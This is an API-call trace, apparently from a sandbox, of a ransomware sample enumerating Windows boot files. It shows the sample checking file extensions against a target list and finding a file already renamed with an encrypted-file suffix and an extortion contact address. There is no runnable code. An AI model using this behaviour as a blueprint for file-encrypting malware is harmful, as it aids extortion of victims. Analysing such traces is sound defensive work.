	[0153.452] lstrlenW (lpString=".pst") returned 4
	[0153.452] lstrcmpiW (lpString1=".pst", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".ptx") returned 4
	[0153.452] lstrcmpiW (lpString1=".ptx", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".pub") returned 4
	[0153.452] lstrcmpiW (lpString1=".pub", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".pwm") returned 4
	[0153.452] lstrcmpiW (lpString1=".pwm", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".pxr") returned 4
	[0153.452] lstrcmpiW (lpString1=".pxr", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".py") returned 3
	[0153.452] lstrcmpiW (lpString1=".py", lpString2="OG1") returned -1
	[0153.452] lstrlenW (lpString=".qt") returned 3
	[0153.452] lstrcmpiW (lpString1=".qt", lpString2="OG1") returned -1
	[0153.452] lstrlenW (lpString=".r3d") returned 4
	[0153.452] lstrcmpiW (lpString1=".r3d", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".raf") returned 4
	[0153.452] lstrcmpiW (lpString1=".raf", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".rar") returned 4
	[0153.452] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0153.453] lstrlenW (lpString=".raw") returned 4
	[0153.453] lstrcmpiW (lpString1=".raw", lpString2="LOG1") returned -1
	[0153.453] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0153.453] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0153.453] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.453] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.453] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0153.453] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0153.453] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0153.453] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.453] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0153.453] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa0725ae4, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0725ae4, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa074b686, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="BOOTSTAT.DAT.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="BOOTST~1.GTF")) returned 1
	[0153.453] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0153.454] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0153.454] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.454] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140598
	[0153.454] FindNextFileW (in: hFindFile=0x4140598, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0153.454] FindNextFileW (in: hFindFile=0x4140598, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0153.455] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.460] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.460] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.461] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.461] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.686] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.688] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.689] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.689] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.690] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.691] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0153.694] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.694] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.847] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0153.854] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.863] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.866] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.866] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.866] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.877] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.877] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.877] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.887] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a8010 | out: hHeap=0x5a0000) returned 1
	[0153.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.891] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.891] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.891] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.891] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x620a00, Size=0x4000) returned 0x41d8028
	[0153.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.901] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.909] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.909] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.909] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4188000 | out: hHeap=0x5a0000) returned 1
	[0153.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.992] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ac018 | out: hHeap=0x5a0000) returned 1
	[0153.992] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.993] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.994] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ac018 | out: hHeap=0x5a0000) returned 1
	[0153.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ac018 | out: hHeap=0x5a0000) returned 1
	[0153.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.997] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.997] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0153.999] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4176ff0 | out: hHeap=0x5a0000) returned 1
	[0153.999] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ac018 | out: hHeap=0x5a0000) returned 1
	[0153.999] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0154.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0154.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0154.244] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0154.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0154.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0154.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0154.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0154.252] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0154.253] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0154.253] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0154.253] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0154.253] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0154.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.272] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.273] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0154.278] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.280] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.284] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.314] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.365] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a5ff8 | out: hHeap=0x5a0000) returned 1
	[0154.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
